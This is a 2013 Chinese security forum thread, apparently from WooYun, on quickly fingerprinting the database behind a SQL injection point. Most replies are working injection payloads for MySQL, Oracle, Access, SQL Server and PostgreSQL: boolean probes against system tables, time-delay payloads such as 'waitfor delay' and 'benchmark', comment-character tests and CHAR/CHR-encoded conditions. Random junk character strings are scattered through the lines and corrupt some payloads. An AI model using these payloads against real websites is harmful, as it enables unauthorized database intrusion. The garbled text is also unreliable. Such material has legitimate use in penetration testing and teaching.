一个注射点如何最快速确认是什么类型数据库
P$ F( S. T; a7 Y% C& P9 Sxsser (十根阳具有长短!!) | 2013-02-05 12:36
! B: B, b! \1 _7 j6 `+ q/ O- C假设这么一个注射点:( h2 b0 f, s; C7 ]) b
show.html?id=2+ u3 V. J+ O- N1 M* B1 H7 V
mysql:id=2 and version()>02 a* u7 D( H5 H) ]' \2 y5 t
oracle:id=2 and '1'||'1'='118 w2 U3 J' \3 ]$ L- a+ t
其他的欢迎补充0 B7 S5 p ^+ J) k0 N( y8 i7 h( _9 @
1#
6 K; e- N3 `/ Nupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
, \: X$ Y4 |8 `- H& l% QAccess:. a5 i+ h, q/ [& l$ y- `# F# D
aNd aSc(cHr(97))=975 i% l: c8 L; v8 h1 L- W
and exists(select id from MSysAccessObjects)$ k1 @$ U9 ]+ X, _/ w9 F
SQL Server:& ]% S+ h8 M5 p) b' z
and exists(select id from sysobjects)6 k' y$ ]/ y: F, Q& F! @5 T9 u
and length(user)>0
# s- @/ {: {- v3 c; V/ gMySQL:6 h/ c+ x% H( v8 K
and length(user())>0
+ u/ C9 Z9 U5 b6 S$ N+ s4 o! h2#
) ^3 m9 W* R: p8 Pxsser (十根阳具有长短!!) | 2013-02-05 12:485 |4 W K6 j% r! a9 b8 x+ z; W
@upload 如果这些都不是呢…. J- u% U3 L$ S, J' l
3#. H2 M7 u" Y3 }* t2 \8 m
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
7 b' u& L/ N! a6 \2 A@xsser 不快速的,延时注入$ ~' N& [8 x" i* D0 g
不知道这样写对不对2 D K2 v! z! ^6 D
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'; _& u6 N' T" h+ P' p, ?, ?
mysql:id=2 and select benchmark(1e8,current_date());, C- h2 ] X, n# @0 E- P. N
4#
2 ?. T; g/ j, T) X- I. Wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10. d1 H( g( {: H
最快的貌似是看报错信息
7 ~2 N8 t+ k7 h eoracle error
1 g8 T& a4 t0 E9 n' emssql error
& G8 S) C% O: qmysql error' S- j1 {) S9 G& ~
5# V# v8 T* q* ?' l! Y$ [( i) z' ^: R
Nimda (你们都是坏银~) | 2013-02-05 13:14" P) w& x z3 Y) D
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)6 W3 X( c- w/ h; Q" J" S& u
6#
* ~4 m$ [" d0 Q! }2 Vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21( }8 s# i7 D. }4 J, Q
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
: d$ E- i' @4 D2 ~0 f) Y“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:4 G. }, h# i4 \
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。5 {' p% Z1 W' ^9 q0 o7 A; e2 ]
7#7 e5 ?9 z0 }3 f' t( B( \! ~# F
_Evil (HackEnd) | 2013-02-05 13:33
# I4 w, B% ^8 `1 d- PPostgreSQL
. B+ J8 ?9 Y9 t8 h0 y; B3 P/ l. Q8#* T0 e$ O T2 V3 i* _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42' }4 k6 W% H2 a0 C' M
切换编码 and 1=1; G5 g. G% s! P# b5 I7 q
oracle:
1 |, f/ i3 G2 S4 P1 gCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
. \/ \( r. D! b: d+ P6 | _% N- ~mssql:/ z% w0 }. ~+ \7 R) o9 O: H
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
. A3 Q' R2 W6 M7 Xmysql:
$ ?! u0 }5 `2 s3 o* ^CHAR(97, 110, 100, 32, 49, 61, 49)
0 s- \: g: r( [) M" |% X6 d- m9#6 U7 M8 A S3 j
xsser (十根阳具有长短!!) | 2013-02-05 14:314 X5 N7 u0 [* g( R0 J7 K. h
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
0 Z# c7 k2 q& z/ |10#
0 [" q# O1 H2 K/ m4 W. m0 oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
+ [& q8 c, o, U& |7 ~5 U! u) G% t@xsser 是奇葩数据库类型的么?1 }5 L6 x5 o8 @1 ? z$ V
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
B: E, d O5 U( E1 s* y3 `, b1.是否可以使用特定的函数来判断,该数据库特有的5 T- x9 g: g: P( M* m. m. r
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
' y0 x# N# R( H& ^% j% S3.是否可以编码查询" R" W/ M$ L2 k5 f
4.是否显可以利用错信息
! W+ k4 l& S' |) C" H+ m5.是否存在数据库某些特性辅助判断& k$ B2 l9 ]/ A* w+ d
个人见解* `8 U- Y0 V( p, T* r6 N
11#
# A+ l2 [9 q4 a' p% J1 X4 S2 o小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
# L' W4 Q1 c# U, u已收藏,mssql可以直接看到错误提示的吧~
/ @+ c6 R3 p2 ^7 n. l- i' s12#1 s. R; D" N& a
Passer_by | 2013-02-05 15:09
) ^* d; w3 p$ N6 Y% H' J1 C4 L/ F; }: z曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
7 B; f3 u1 a ]$ L- D. M mfrom:http://zone.wooyun.org/content/260 |